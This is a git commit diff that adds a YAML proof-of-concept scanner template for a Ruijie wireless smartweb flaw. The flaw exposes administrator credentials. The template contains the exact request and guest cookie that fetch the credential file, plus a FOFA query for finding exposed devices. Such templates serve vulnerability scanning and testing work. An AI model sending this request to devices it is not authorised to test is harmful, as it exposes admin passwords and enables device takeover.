feat: add curated internal network pocs

2026-09-26 21:21:53 +08:00 · 2026-07-16 01:45:09 +08:00
parent 61ae87d171
commit 621b2c2f24
52 changed files with 1230 additions and 0 deletions
@@ -0,0 +1,23 @@
+id: ruijie-smartweb-password-disclosure
+
+info:
+  name: Ruijie smartweb password information disclosure
+  author: zan8in
+  severity: high
+  verified: true
+  description: |-
+    锐捷网络股份有限公司无线smartweb管理系统存在逻辑缺陷漏洞，攻击者可从漏洞获取到管理员账号密码，从而以管理员权限登录。
+    fofa: app="Ruijie-WiFi" && title="无线smartWeb--登录页面"
+  tags: ruijie,disclosure
+  created: 2023/10/29
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /web/xml/webuser-auth.xml
+      headers:
+        Cookie: "login=1; oid=1.3.6.1.4.1.4881.1.1.10.1.3; type=WS5302; auth=Z3Vlc3Q6Z3Vlc3Q%3D; user=guest"
+    expression: |
+      response.status == 200 && response.body.bcontains(b'<![CDATA[   admin]]>')
+expression: r0()